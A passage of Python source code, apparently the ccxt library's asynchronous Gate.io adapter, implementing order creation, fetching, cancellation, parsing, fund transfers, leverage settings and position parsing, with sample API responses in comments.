params['text']: User defined information :param str params['account']: *spot and margin only* "spot", "margin" or "cross_margin" :param bool params['auto_borrow']: *margin only* Used in margin or cross margin trading to allow automatic loan of insufficient amount if balance is not enough :param str params['settle']: *contract only* Unified Currency Code for settle currency :param bool params['reduceOnly']: *contract only* Indicates if self order is to reduce the size of a position :param bool params['close']: *contract only* Set as True to close the position, with size set to 0 :param bool params['auto_size']: *contract only* Set side to close dual-mode position, close_long closes the long side, while close_short the short one, size also needs to be set to 0 :returns: `An order structure <https://docs.ccxt.com/en/latest/manual.html#order-structure>` """ await self.load_markets() market = self.market(symbol) contract = market['contract'] stopPrice = self.safe_number(params, 'stopPrice') methodTail = 'Orders' reduceOnly = self.safe_value_2(params, 'reduce_only', 'reduceOnly') defaultTimeInForce = self.safe_value_2(params, 'tif', 'time_in_force', 'gtc') timeInForce = self.safe_value(params, 'timeInForce', defaultTimeInForce) postOnly = False type, postOnly, timeInForce, params = self.is_post_only(type, timeInForce, None, params) params = self.omit(params, ['stopPrice', 'reduce_only', 'reduceOnly', 'tif', 'time_in_force', 'timeInForce']) if postOnly: timeInForce = 'poc' isLimitOrder = (type == 'limit') isMarketOrder = (type == 'market') if isLimitOrder and price is None: raise ArgumentsRequired(self.id + ' createOrder() requires a price argument for ' + type + ' orders') if contract: amountToPrecision = self.amount_to_precision(symbol, amount) signedAmount = Precise.string_neg(amountToPrecision) if (side == 'sell') else amountToPrecision amount = int(signedAmount) if isMarketOrder: timeInForce = 'ioc' price = 0 elif not isLimitOrder: # Gateio doesn't have market orders for spot raise InvalidOrder(self.id + ' createOrder() does not support ' + type + ' orders for ' + market['type'] + ' markets') request = None trigger = self.safe_value(params, 'trigger') if stopPrice is None and trigger is None: if contract: # contract order request = { 'contract': market['id'], # filled in prepareRequest above 'size': amount, # int64, positive = bid, negative = ask # 'iceberg': 0, # int64, display size for iceberg order, 0 for non-iceberg, note that you will have to pay the taker fee for the hidden size 'price': self.price_to_precision(symbol, price), # 0 for market order with tif set as ioc # 'close': False, # True to close the position, with size set to 0 # 'reduce_only': False, # St as True to be reduce-only order # 'tif': 'gtc', # gtc, ioc, poc PendingOrCancelled == postOnly order # 'text': clientOrderId, # 't-abcdef1234567890', # 'auto_size': '', # close_long, close_short, note size also needs to be set to 0 'settle': market['settleId'], # filled in prepareRequest above } if reduceOnly is not None: request['reduce_only'] = reduceOnly if timeInForce is not None: request['tif'] = timeInForce else: marginMode = None marginMode, params = self.get_margin_mode(False, params) # spot order request = { # 'text': clientOrderId, # 't-abcdef1234567890', 'currency_pair': market['id'], # filled in prepareRequest above 'type': type, 'account': marginMode, # 'spot', 'margin', 'cross_margin' 'side': side, 'amount': self.amount_to_precision(symbol, amount), 'price': self.price_to_precision(symbol, price), # 'time_in_force': 'gtc', # gtc, ioc, poc PendingOrCancelled == postOnly order # 'iceberg': 0, # amount to display for the iceberg order, null or 0 for normal orders, set to -1 to hide the order completely # 'auto_borrow': False, # used in margin or cross margin trading to allow automatic loan of insufficient amount if balance is not enough # 'auto_repay': False, # automatic repayment for automatic borrow loan generated by cross margin order, diabled by default } if timeInForce is not None: request['time_in_force'] = timeInForce clientOrderId = self.safe_string_2(params, 'text', 'clientOrderId') if clientOrderId is not None: # user-defined, must follow the rules if not empty # prefixed with t- # no longer than 28 bytes without t- prefix # can only include 0-9, A-Z, a-z, underscores(_), hyphens(-) or dots(.) if len(clientOrderId) > 28: raise BadRequest(self.id + ' createOrder() clientOrderId or text param must be up to 28 characters') params = self.omit(params, ['text', 'clientOrderId']) if clientOrderId[0] != 't': clientOrderId = 't-' + clientOrderId request['text'] = clientOrderId else: if contract: # contract conditional order rule = 1 if (side == 'buy') else 2 request = { 'initial': { 'contract': market['id'], 'size': amount, # positive = buy, negative = sell, set to 0 to close the position 'price': self.price_to_precision(symbol, price), # set to 0 to use market price # 'close': False, # set to True if trying to close the position # 'tif': 'gtc', # gtc, ioc, if using market price, only ioc is supported # 'text': clientOrderId, # web, api, app # 'reduce_only': False, }, 'trigger': { # 'strategy_type': 0, # 0 = by price, 1 = by price gap, only 0 is supported currently # 'price_type': 0, # 0 latest deal price, 1 mark price, 2 index price 'price': self.price_to_precision(symbol, stopPrice), # price or gap 'rule': rule, # 1 means price_type >= price, 2 means price_type <= price # 'expiration': expiration, how many seconds to wait for the condition to be triggered before cancelling the order }, 'settle': market['settleId'], } expiration = self.safe_integer(params, 'expiration') if expiration is not None: request['trigger']['expiration'] = expiration params = self.omit(params, 'expiration') if reduceOnly is not None: request['initial']['reduce_only'] = reduceOnly if timeInForce is not None: request['initial']['tif'] = timeInForce else: # spot conditional order options = self.safe_value(self.options, 'createOrder', {}) marginMode = None marginMode, params = self.get_margin_mode(True, params) defaultExpiration = self.safe_integer(options, 'expiration') expiration = self.safe_integer(params, 'expiration', defaultExpiration) rule = '>=' if (side == 'buy') else '<=' triggerPrice = self.safe_value(trigger, 'price', stopPrice) request = { 'trigger': { 'price': self.price_to_precision(symbol, triggerPrice), 'rule': rule, # >= triggered when market price larger than or equal to price field, <= triggered when market price less than or equal to price field 'expiration': expiration, # required, how long(in seconds) to wait for the condition to be triggered before cancelling the order }, 'put': { 'type': type, 'side': side, 'price': self.price_to_precision(symbol, price), 'amount': self.amount_to_precision(symbol, amount), 'account': marginMode, 'time_in_force': timeInForce, # gtc, ioc for taker only }, 'market': market['id'], } methodTail = 'PriceOrders' method = self.get_supported_mapping(market['type'], { 'spot': 'privateSpotPost' + methodTail, 'margin': 'privateSpotPost' + methodTail, 'swap': 'privateFuturesPostSettle' + methodTail, 'future': 'privateDeliveryPostSettle' + methodTail, }) response = await getattr(self, method)(self.deep_extend(request, params)) # # spot # # { # "id": "95282841887", # "text": "apiv4", # "create_time": "1637383156", # "update_time": "1637383156", # "create_time_ms": 1637383156017, # "update_time_ms": 1637383156017, # "status": "open", # "currency_pair": "ETH_USDT", # "type": "limit", # "account": "spot", # "side": "buy", # "amount": "0.01", # "price": "3500", # "time_in_force": "gtc", # "iceberg": "0", # "left": "0.01", # "fill_price": "0", # "filled_total": "0", # "fee": "0", # "fee_currency": "ETH", # "point_fee": "0", # "gt_fee": "0", # "gt_discount": False, # "rebated_fee": "0", # "rebated_fee_currency": "USDT" # } # # spot conditional # # {"id": 5891843} # # future and perpetual swaps # # { # "id": 95938572327, # "contract": "ETH_USDT", # "mkfr": "0", # "tkfr": "0.0005", # "tif": "gtc", # "is_reduce_only": False, # "create_time": 1637384600.08, # "price": "3000", # "size": 1, # "refr": "0", # "left": 1, # "text": "api", # "fill_price": "0", # "user": 2436035, # "status": "open", # "is_liq": False, # "refu": 0, # "is_close": False, # "iceberg": 0 # } # # futures and perpetual swaps conditionals # # {"id": 7615567} # return self.parse_order(response, market) def parse_order_status(self, status): statuses = { '_new': 'open', 'filled': 'closed', 'cancelled': 'canceled', 'liquidated': 'closed', } return self.safe_string(statuses, status, status) def parse_order(self, order, market=None): # # SPOT # createOrder/cancelOrder/fetchOrder # # { # "id": "62364648575", # "text": "apiv4", # "create_time": "1626354834", # "update_time": "1626354834", # "create_time_ms": "1626354833544", # "update_time_ms": "1626354833544", # "status": "open", # "currency_pair": "BTC_USDT", # "type": "limit", # "account": "spot", # "side": "buy", # "amount": "0.0001", # "price": "30000", # "time_in_force": "gtc", # "iceberg": "0", # "left": "0.0001", # "fill_price": "0", # "filled_total": "0", # "fee": "0", # "fee_currency": "BTC", # "point_fee": "0", # "gt_fee": "0", # "gt_discount": True, # "rebated_fee": "0", # "rebated_fee_currency": "USDT" # } # # SPOT TRIGGER ORDERS # createOrder # # { # "id": 12604556 # } # # fetchOrder/cancelOrder # # { # "market": "ADA_USDT", # "user": 6392049, # "trigger": { # "price": "1.08", # stopPrice # "rule": "\u003e=", # "expiration": 86400 # }, # "put": { # "type": "limit", # "side": "buy", # "price": "1.08", # order price # "amount": "1.00000000000000000000", # "account": "normal", # "time_in_force": "gtc" # }, # "id": 71639298, # "ctime": 1643945985, # "status": "open" # } # # FUTURE AND SWAP # createOrder/cancelOrder/fetchOrder # # { # "id": 123028481731, # "contract": "ADA_USDT", # "mkfr": "-0.00005", # "tkfr": "0.00048", # "tif": "ioc", # "is_reduce_only": False, # "create_time": 1643950262.68, # "finish_time": 1643950262.68, # "price": "0", # "size": 1, # "refr": "0", # "left":0, # "text": "api", # "fill_price": "1.05273", # "user":6329238, # "finish_as": "filled", # "status": "finished", # "is_liq": False, # "refu":0, # "is_close": False, # "iceberg": 0 # } # # TRIGGER ORDERS(FUTURE AND SWAP) # createOrder # # { # "id": 12604556 # } # # fetchOrder/cancelOrder # # { # "user": 6320300, # "trigger": { # "strategy_type": 0, # "price_type": 0, # "price": "1.03", # stopPrice # "rule": 2, # "expiration": 0 # }, # "initial": { # "contract": "ADA_USDT", # "size": -1, # "price": "1.02", # "tif": "gtc", # "text": "", # "iceberg": 0, # "is_close": False, # "is_reduce_only": False, # "auto_size": "" # }, # "id": 126393906, # "trade_id": 0, # "status": "open", # "reason": "", # "create_time": 1643953482, # "finish_time": 1643953482, # "is_stop_order": False, # "stop_trigger": { # "rule": 0, # "trigger_price": "", # "order_price": "" # }, # "me_order_id": 0, # "order_type": "" # } # put = self.safe_value_2(order, 'put', 'initial') trigger = self.safe_value(order, 'trigger') contract = self.safe_string(put, 'contract') type = self.safe_string(put, 'type') timeInForce = self.safe_string_upper_2(put, 'time_in_force', 'tif') amount = self.safe_string_2(put, 'amount', 'size') side = self.safe_string(put, 'side') price = self.safe_string(put, 'price') contract = self.safe_string(order, 'contract', contract) type = self.safe_string(order, 'type', type) timeInForce = self.safe_string_upper_2(order, 'time_in_force', 'tif', timeInForce) if timeInForce == 'POC': timeInForce = 'PO' postOnly = (timeInForce == 'PO') amount = self.safe_string_2(order, 'amount', 'size', amount) side = self.safe_string(order, 'side', side) price = self.safe_string(order, 'price', price) remaining = self.safe_string(order, 'left') filled = Precise.string_sub(amount, remaining) cost = self.safe_string(order, 'filled_total') rawStatus = None average = None if put: remaining = amount filled = '0' cost = '0' if contract: isMarketOrder = Precise.string_equals(price, '0') and (timeInForce == 'IOC') type = 'market' if isMarketOrder else 'limit' side = 'buy' if Precise.string_gt(amount, '0') else 'sell' rawStatus = self.safe_string(order, 'finish_as', 'open') average = self.safe_number(order, 'fill_price') else: rawStatus = self.safe_string(order, 'status') timestamp = self.safe_integer(order, 'create_time_ms') if timestamp is None: timestamp = self.safe_timestamp_2(order, 'create_time', 'ctime') lastTradeTimestamp = self.safe_integer(order, 'update_time_ms') if lastTradeTimestamp is None: lastTradeTimestamp = self.safe_timestamp_2(order, 'update_time', 'finish_time') exchangeSymbol = self.safe_string_2(order, 'currency_pair', 'market', contract) # Everything below self(above return) is related to fees fees = [] gtFee = self.safe_string(order, 'gt_fee') if gtFee: fees.append({ 'currency': 'GT', 'cost': gtFee, }) fee = self.safe_string(order, 'fee') if fee: fees.append({ 'currency': self.safe_currency_code(self.safe_string(order, 'fee_currency')), 'cost': fee, }) rebate = self.safe_string(order, 'rebated_fee') if rebate: fees.append({ 'currency': self.safe_currency_code(self.safe_string(order, 'rebated_fee_currency')), 'cost': Precise.string_neg(rebate), }) numFeeCurrencies = len(fees) multipleFeeCurrencies = numFeeCurrencies > 1 status = self.parse_order_status(rawStatus) return self.safe_order({ 'id': self.safe_string(order, 'id'), 'clientOrderId': self.safe_string(order, 'text'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'lastTradeTimestamp': lastTradeTimestamp, 'status': status, 'symbol': self.safe_symbol(exchangeSymbol), 'type': type, 'timeInForce': timeInForce, 'postOnly': postOnly, 'side': side, 'price': self.parse_number(price), 'stopPrice': self.safe_number(trigger, 'price'), 'average': average, 'amount': self.parse_number(Precise.string_abs(amount)), 'cost': Precise.string_abs(cost), 'filled': self.parse_number(Precise.string_abs(filled)), 'remaining': self.parse_number(Precise.string_abs(remaining)), 'fee': None if multipleFeeCurrencies else self.safe_value(fees, 0), 'fees': fees if multipleFeeCurrencies else [], 'trades': None, 'info': order, }, market) async def create_reduce_only_order(self, symbol, type, side, amount, price=None, params={}): request = { 'reduceOnly': True, } return await self.create_order(symbol, type, side, amount, price, self.extend(request, params)) async def fetch_order(self, id, symbol=None, params={}): """ Retrieves information on an order :param str id: Order id :param str symbol: Unified market symbol, *required for spot and margin* :param dict params: Parameters specified by the exchange api :param bool params['stop']: True if the order being fetched is a trigger order :param str params['marginMode']: 'cross' or 'isolated' - marginMode for margin trading if not provided self.options['defaultMarginMode'] is used :param str params['type']: 'spot', 'swap', or 'future', if not provided self.options['defaultMarginMode'] is used :param str params['settle']: 'btc' or 'usdt' - settle currency for perpetual swap and future - market settle currency is used if symbol is not None, default="usdt" for swap and "btc" for future :returns: An `order structure <https://docs.ccxt.com/en/latest/manual.html#order-structure>` """ await self.load_markets() stop = self.safe_value_2(params, 'is_stop_order', 'stop', False) params = self.omit(params, ['is_stop_order', 'stop']) clientOrderId = self.safe_string_2(params, 'text', 'clientOrderId') orderId = id if clientOrderId is not None: params = self.omit(params, ['text', 'clientOrderId']) if clientOrderId[0] != 't': clientOrderId = 't-' + clientOrderId orderId = clientOrderId market = None if (symbol is None) else self.market(symbol) type, query = self.handle_market_type_and_params('fetchOrder', market, params) contract = (type == 'swap') or (type == 'future') request, requestParams = self.prepare_request(market, type, query) if contract else self.spot_order_prepare_request(market, stop, query) request['order_id'] = orderId methodMiddle = 'PriceOrders' if stop else 'Orders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotGet' + methodMiddle + 'OrderId', 'margin': 'privateSpotGet' + methodMiddle + 'OrderId', 'swap': 'privateFuturesGetSettle' + methodMiddle + 'OrderId', 'future': 'privateDeliveryGetSettle' + methodMiddle + 'OrderId', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_order(response, market) async def fetch_open_orders(self, symbol=None, since=None, limit=None, params={}): """ fetches all open orders :param str symbol: Unified market symbol :param int since: earliest time in ms for orders in the response :param int limit: max number of order structures to return :param dict params: exchange specific params :param bool params['stop']: True for fetching stop orders :param str params['type']: spot, margin, swap or future, if not provided self.options['defaultType'] is used :param str params['marginMode']: 'cross' or 'isolated' - marginMode for type='margin', if not provided self.options['defaultMarginMode'] is used :returns: An array of order structures """ return await self.fetch_orders_by_status('open', symbol, since, limit, params) async def fetch_closed_orders(self, symbol=None, since=None, limit=None, params={}): """ fetches all closed orders :param str symbol: Unified market symbol of the market to fetch orders for :param int since: earliest time in ms for orders in the response :param int limit: max number of order structures to return :param dict params: exchange specific params :param bool params['stop']: True for fetching stop orders :param str params['type']: spot, swap or future, if not provided self.options['defaultType'] is used :param str params['marginMode']: 'cross' or 'isolated' - marginMode for margin trading if not provided self.options['defaultMarginMode'] is used :returns: An array of `order structures <https://docs.ccxt.com/en/latest/manual.html#order-structure>` """ return await self.fetch_orders_by_status('finished', symbol, since, limit, params) async def fetch_orders_by_status(self, status, symbol=None, since=None, limit=None, params={}): await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value(params, 'stop') params = self.omit(params, 'stop') type, query = self.handle_market_type_and_params('fetchOrdersByStatus', market, params) spot = (type == 'spot') or (type == 'margin') request, requestParams = self.multi_order_spot_prepare_request(market, stop, query) if spot else self.prepare_request(market, type, query) if status == 'closed': status = 'finished' request['status'] = status if limit is not None: request['limit'] = limit if since is not None and spot: request['from'] = int(since / 1000) methodTail = 'PriceOrders' if stop else 'Orders' openSpotOrders = spot and (status == 'open') and not stop if openSpotOrders: methodTail = 'OpenOrders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotGet' + methodTail, 'margin': 'privateSpotGet' + methodTail, 'swap': 'privateFuturesGetSettle' + methodTail, 'future': 'privateDeliveryGetSettle' + methodTail, }) response = await getattr(self, method)(self.extend(request, requestParams)) # # SPOT Open Orders # # [ # { # "currency_pair": "ADA_USDT", # "total": 2, # "orders": [ # { # "id": "155498539874", # "text": "apiv4", # "create_time": "1652406843", # "update_time": "1652406843", # "create_time_ms": 1652406843295, # "update_time_ms": 1652406843295, # "status": "open", # "currency_pair": "ADA_USDT", # "type": "limit", # "account": "spot", # "side": "buy", # "amount": "3", # "price": "0.35", # "time_in_force": "gtc", # "iceberg": "0", # "left": "3", # "fill_price": "0", # "filled_total": "0", # "fee": "0", # "fee_currency": "ADA", # "point_fee": "0", # "gt_fee": "0", # "gt_discount": False, # "rebated_fee": "0", # "rebated_fee_currency": "USDT" # }, # ... # ] # }, # ... # ] # # SPOT # # [ # { # "id": "8834234273", # "text": "3", # "create_time": "1635406193", # "update_time": "1635406193", # "create_time_ms": 1635406193361, # "update_time_ms": 1635406193361, # "status": "closed", # "currency_pair": "BTC_USDT", # "type": "limit", # "account": "spot", # margin for margin orders # "side": "sell", # "amount": "0.0002", # "price": "58904.01", # "time_in_force": "gtc", # "iceberg": "0", # "left": "0.0000", # "fill_price": "11.790516", # "filled_total": "11.790516", # "fee": "0.023581032", # "fee_currency": "USDT", # "point_fee": "0", # "gt_fee": "0", # "gt_discount": False, # "rebated_fee_currency": "BTC" # } # ] # # Spot Stop # # [ # { # "market": "ADA_USDT", # "user": 10406147, # "trigger": { # "price": "0.65", # "rule": "\u003c=", # "expiration": 86400 # }, # "put": { # "type": "limit", # "side": "sell", # "price": "0.65", # "amount": "2.00000000000000000000", # "account": "normal", # margin for margin orders # "time_in_force": "gtc" # }, # "id": 8449909, # "ctime": 1652188982, # "status": "open" # } # ] # # Perpetual Swap # # [ # { # "status": "finished", # "size": -1, # "left": 0, # "id": 82750739203, # "is_liq": False, # "is_close": False, # "contract": "BTC_USDT", # "text": "web", # "fill_price": "60721.3", # "finish_as": "filled", # "iceberg": 0, # "tif": "ioc", # "is_reduce_only": True, # "create_time": 1635403475.412, # "finish_time": 1635403475.4127, # "price": "0" # } # ] # result = response if openSpotOrders: result = [] for i in range(0, len(response)): orders = self.safe_value(response[i], 'orders') result = self.array_concat(result, orders) orders = self.parse_orders(result, market, since, limit) return self.filter_by_symbol_since_limit(orders, symbol, since, limit) async def cancel_order(self, id, symbol=None, params={}): """ Cancels an open order :param str id: Order id :param str symbol: Unified market symbol :param dict params: Parameters specified by the exchange api :param bool params['stop']: True if the order to be cancelled is a trigger order :returns: An `order structure <https://docs.ccxt.com/en/latest/manual.html#order-structure>` """ await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value_2(params, 'is_stop_order', 'stop', False) params = self.omit(params, ['is_stop_order', 'stop']) type, query = self.handle_market_type_and_params('cancelOrder', market, params) request, requestParams = self.spot_order_prepare_request(market, stop, query) if (type == 'spot' or type == 'margin') else self.prepare_request(market, type, query) request['order_id'] = id pathMiddle = 'Price' if stop else '' method = self.get_supported_mapping(type, { 'spot': 'privateSpotDelete' + pathMiddle + 'OrdersOrderId', 'margin': 'privateSpotDelete' + pathMiddle + 'OrdersOrderId', 'swap': 'privateFuturesDeleteSettle' + pathMiddle + 'OrdersOrderId', 'future': 'privateDeliveryDeleteSettle' + pathMiddle + 'OrdersOrderId', }) response = await getattr(self, method)(self.extend(request, requestParams)) # # spot # # { # "id": "95282841887", # "text": "apiv4", # "create_time": "1637383156", # "update_time": "1637383235", # "create_time_ms": 1637383156017, # "update_time_ms": 1637383235085, # "status": "cancelled", # "currency_pair": "ETH_USDT", # "type": "limit", # "account": "spot", # "side": "buy", # "amount": "0.01", # "price": "3500", # "time_in_force": "gtc", # "iceberg": "0", # "left": "0.01", # "fill_price": "0", # "filled_total": "0", # "fee": "0", # "fee_currency": "ETH", # "point_fee": "0", # "gt_fee": "0", # "gt_discount": False, # "rebated_fee": "0", # "rebated_fee_currency": "USDT" # } # # spot conditional # # { # "market": "ETH_USDT", # "user": 2436035, # "trigger": { # "price": "3500", # "rule": "\u003c=", # "expiration": 86400 # }, # "put": { # "type": "limit", # "side": "buy", # "price": "3500", # "amount": "0.01000000000000000000", # "account": "normal", # "time_in_force": "gtc" # }, # "id": 5891843, # "ctime": 1637382379, # "ftime": 1637382673, # "status": "canceled" # } # # perpetual swaps # # { # id: "82241928192", # contract: "BTC_USDT", # mkfr: "0", # tkfr: "0.0005", # tif: "gtc", # is_reduce_only: False, # create_time: "1635196145.06", # finish_time: "1635196233.396", # price: "61000", # size: "4", # refr: "0", # left: "4", # text: "web", # fill_price: "0", # user: "6693577", # finish_as: "cancelled", # status: "finished", # is_liq: False, # refu: "0", # is_close: False, # iceberg: "0", # } # return self.parse_order(response, market) async def cancel_all_orders(self, symbol=None, params={}): await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value(params, 'stop') params = self.omit(params, 'stop') type, query = self.handle_market_type_and_params('cancelAllOrders', market, params) request, requestParams = self.multi_order_spot_prepare_request(market, stop, query) if (type == 'spot') else self.prepare_request(market, type, query) methodTail = 'PriceOrders' if stop else 'Orders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotDelete' + methodTail, 'margin': 'privateSpotDelete' + methodTail, 'swap': 'privateFuturesDeleteSettle' + methodTail, 'future': 'privateDeliveryDeleteSettle' + methodTail, }) response = await getattr(self, method)(self.extend(request, requestParams)) # # [ # { # "id": 139797004085, # "contract": "ADA_USDT", # "mkfr": "0", # "tkfr": "0.0005", # "tif": "gtc", # "is_reduce_only": False, # "create_time": 1647911169.343, # "finish_time": 1647911226.849, # "price": "0.8", # "size": 1, # "refr": "0.3", # "left": 1, # "text": "api", # "fill_price": "0", # "user": 6693577, # "finish_as": "cancelled", # "status": "finished", # "is_liq": False, # "refu": 2436035, # "is_close": False, # "iceberg": 0 # } # ... # ] # return self.parse_orders(response, market) async def transfer(self, code, amount, fromAccount, toAccount, params={}): """ makes internal transfers of funds between accounts on the same exchange :param str code: unified currency code for currency being transferred :param float amount: the amount of currency to transfer :param str fromAccount: the account to transfer currency from :param str toAccount: the account to transfer currency to :param dict params: Exchange specific parameters :param dict params['symbol']: Unified market symbol *required for type == margin* :returns: A `transfer structure <https://docs.ccxt.com/en/latest/manual.html#transfer-structure>` """ await self.load_markets() currency = self.currency(code) fromId = self.parse_account(fromAccount) toId = self.parse_account(toAccount) truncated = self.currency_to_precision(code, amount) request = { 'currency': currency['id'], 'amount': truncated, } if not (fromId in self.options['accountsByType']): request['from'] = 'margin' request['currency_pair'] = fromId else: request['from'] = fromId if not (toId in self.options['accountsByType']): request['to'] = 'margin' request['currency_pair'] = toId else: request['to'] = toId if fromId == 'margin' or toId == 'margin': symbol = self.safe_string_2(params, 'symbol', 'currency_pair') if symbol is None: raise ArgumentsRequired(self.id + ' transfer requires params["symbol"] for isolated margin transfers') market = self.market(symbol) request['currency_pair'] = market['id'] params = self.omit(params, 'symbol') if (toId == 'futures') or (toId == 'delivery') or (fromId == 'futures') or (fromId == 'delivery'): request['settle'] = currency['lowerCaseId'] response = await self.privateWalletPostTransfers(self.extend(request, params)) # # according to the docs(however actual response seems to be an empty string '') # # { # "currency": "BTC", # "from": "spot", # "to": "margin", # "amount": "1", # "currency_pair": "BTC_USDT" # } # transfer = self.parse_transfer(response, currency) return self.extend(transfer, { 'fromAccount': fromAccount, 'toAccount': toAccount, 'amount': self.parse_number(truncated), }) def parse_account(self, account): accountsByType = self.options['accountsByType'] if account in accountsByType: return accountsByType[account] elif account in self.markets: market = self.market(account) return market['id'] else: keys = list(accountsByType.keys()) raise ExchangeError(self.id + ' accounts must be one of ' + ', '.join(keys) + ' or an isolated margin symbol') def parse_transfer(self, transfer, currency=None): timestamp = self.milliseconds() return { 'id': None, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'currency': self.safe_currency_code(None, currency), 'amount': None, 'fromAccount': None, 'toAccount': None, 'status': None, 'info': transfer, } async def set_leverage(self, leverage, symbol=None, params={}): if symbol is None: raise ArgumentsRequired(self.id + ' setLeverage() requires a symbol argument') # WARNING: THIS WILL INCREASE LIQUIDATION PRICE FOR OPEN ISOLATED LONG POSITIONS # AND DECREASE LIQUIDATION PRICE FOR OPEN ISOLATED SHORT POSITIONS if (leverage < 0) or (leverage > 100): raise BadRequest(self.id + ' setLeverage() leverage should be between 1 and 100') await self.load_markets() market = self.market(symbol) method = self.get_supported_mapping(market['type'], { 'swap': 'privateFuturesPostSettlePositionsContractLeverage', 'future': 'privateDeliveryPostSettlePositionsContractLeverage', }) request, query = self.prepare_request(market, None, params) defaultMarginMode = self.safe_string_2(self.options, 'marginMode', 'defaultMarginMode') crossLeverageLimit = self.safe_string(query, 'cross_leverage_limit') marginMode = self.safe_string(query, 'marginMode', defaultMarginMode) if crossLeverageLimit is not None: marginMode = 'cross' leverage = crossLeverageLimit if marginMode == 'cross' or marginMode == 'cross_margin': request['query'] = { 'cross_leverage_limit': str(leverage), 'leverage': '0', } else: request['query'] = { 'leverage': str(leverage), } response = await getattr(self, method)(self.extend(request, query)) # # { # "value": "0", # "leverage": "5", # "mode": "single", # "realised_point": "0", # "contract": "BTC_USDT", # "entry_price": "0", # "mark_price": "62035.86", # "history_point": "0", # "realised_pnl": "0", # "close_order": null, # "size": 0, # "cross_leverage_limit": "0", # "pending_orders": 0, # "adl_ranking": 6, # "maintenance_rate": "0.005", # "unrealised_pnl": "0", # "user": 2436035, # "leverage_max": "100", # "history_pnl": "0", # "risk_limit": "1000000", # "margin": "0", # "last_close_pnl": "0", # "liq_price": "0" # } # return response def parse_position(self, position, market=None): # # { # value: "12.475572", # leverage: "0", # mode: "single", # realised_point: "0", # contract: "BTC_USDT", # entry_price: "62422.6", # mark_price: "62377.86", # history_point: "0", # realised_pnl: "-0.00624226", # close_order: null, # size: "2", # cross_leverage_limit: "25", # pending_orders: "0", # adl_ranking: "5", # maintenance_rate: "0.005", # unrealised_pnl: "-0.008948", # user: "663337", # leverage_max: "100", # history_pnl: "14.98868396636", # risk_limit: "1000000", # margin: "0.740721495056", # last_close_pnl: "-0.041996015", # liq_price: "59058.58" # } # contract = self.safe_string(position, 'contract') market = self.safe_market(contract, market) size = self.safe_string(position, 'size') side = None if Precise.string_gt(size, '0'): side = 'long' elif Precise.string_lt(size, '0'): side = 'short' maintenanceRate = self.safe_string(position, 'maintenance_rate') notional = self.safe_string(position, 'value') leverage = self.safe_string(position, 'leverage') marginMode = None if leverage == '0': marginMode = 'cross' else: marginMode = 'isolated' unrealisedPnl = self.safe_string(position, 'unrealised_pnl') # Initial Position Margin = ( Position Value / Leverage ) + Close Position Fee # *The default leverage under the full position is the highest leverage in the market. # *Trading fee is charged as Taker Fee Rate(0.075%). takerFee = '0.00075' feePaid = Precise.string_mul(takerFee, notional) initialMarginString = Precise.string_add(Precise.string_div(notional, leverage), feePaid) percentage = Precise.string_mul(Precise.string_div(unrealisedPnl, initialMarginString), '100') return { 'info': position, 'symbol': self.safe_string(market, 'symbol'), 'timestamp': None, 'datetime': None, 'initialMargin': self.parse_number(initialMarginString), 'initialMarginPercentage': self.parse_number(Precise.string_div(initialMarginString, notional)), 'maintenanceMargin': self.parse_number(Precise.string_mul(maintenanceRate, notional)), 'maintenanceMarginPercentage': self.parse_number(maintenanceRate), 'entryPrice': self.safe_number(position, 'entry_price'), 'notional': self.parse_number(notional), 'leverage': self.safe_number(position, 'leverage'), 'unrealizedPnl': self.parse_number(unrealisedPnl), 'contracts': self.parse_number(Precise.string_abs(size)), 'contractSize': self.safe_value(market, 'contractSize'), # 'realisedPnl': position['realised_pnl'], 'marginRatio': None, 'liquidationPrice': self.safe_number(position, 'liq_price'), 'markPrice': self.safe_number(position, 'mark_price'), 'collateral': self.safe_number(position, 'margin'), 'marginMode': marginMode, 'marginType': marginMode, # deprecated 'side': side, 'percentage': self.parse_number(percentage), } def parse_positions(self, positions): result = [] for i in range(0, len(positions)): result.append(self.parse_position(positions[i])) return result async def fetch_positions(self, symbols=None, params={}): """ Fetch trades positions * @param {[str]} symbols Not used by Gateio, but parsed internally by CCXT :param dict params: exchange specific parameters :param str params['settle']: 'btc' or 'usdt' - settle currency for perpetual swap and future - default="usdt" for swap and "btc" for future :param str params['type']: swap or future, if not provided self.options['defaultType'] is used :returns: An array of `position structures <https://docs.ccxt.com/en/latest/manual.html#position-structure>` """ await self.load_markets() type, query = self.handle_market_type_and_params('fetchPositions', None, params) request, requestParams = self.prepare_request(None, type, query) method = self.get_supported_mapping(type, { 'swap': 'privateFuturesGetSettlePositions', 'future': 'privateDeliveryGetSettlePositions', }) response = await getattr(self, method)(self.extend(request, requestParams)) # # [ # { # value: "12.475572", # leverage: "0", # mode: "single", # realised_point: "0", # contract: "BTC_USDT", # entry_price: "62422.6", # mark_price: "62377.86", # history_point: "0", # realised_pnl: "-0.00624226", # close_order: null, # size: "2", # cross_leverage_limit: "25", # pending_orders: "0", # adl_ranking: "5", # maintenance_rate: "0.005", # unrealised_pnl: "-0.008948", # user: "6693577", # leverage_max: "100", # history_pnl: "14.98868396636", # risk_limit: "1000000", # margin: "0.740721495056", # last_close_pnl: "-0.041996015", # liq_price: "59058.58" # } # ] # result = self.parse_positions(response) return self.filter_by_array(result, 'symbol', symbols, False) async def fetch_leverage_tiers(self, symbols=None, params={}): await self.load_markets() type, query = self.handle_market_type_and_params('fetchLeverageTiers', None, params) request, requestParams = self.prepare_request(None, type, query) if type != 'future' and type != 'swap': raise BadRequest(self.id + ' fetchLeverageTiers only supports swap and future') method = self.get_supported_mapping(type, { 'swap': 'publicFuturesGetSettleContracts', 'future': 'publicDeliveryGetSettleContracts', }) response = await getattr(self, method)(self.extend(request, requestParams)) # # Perpetual swap # # [ # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": 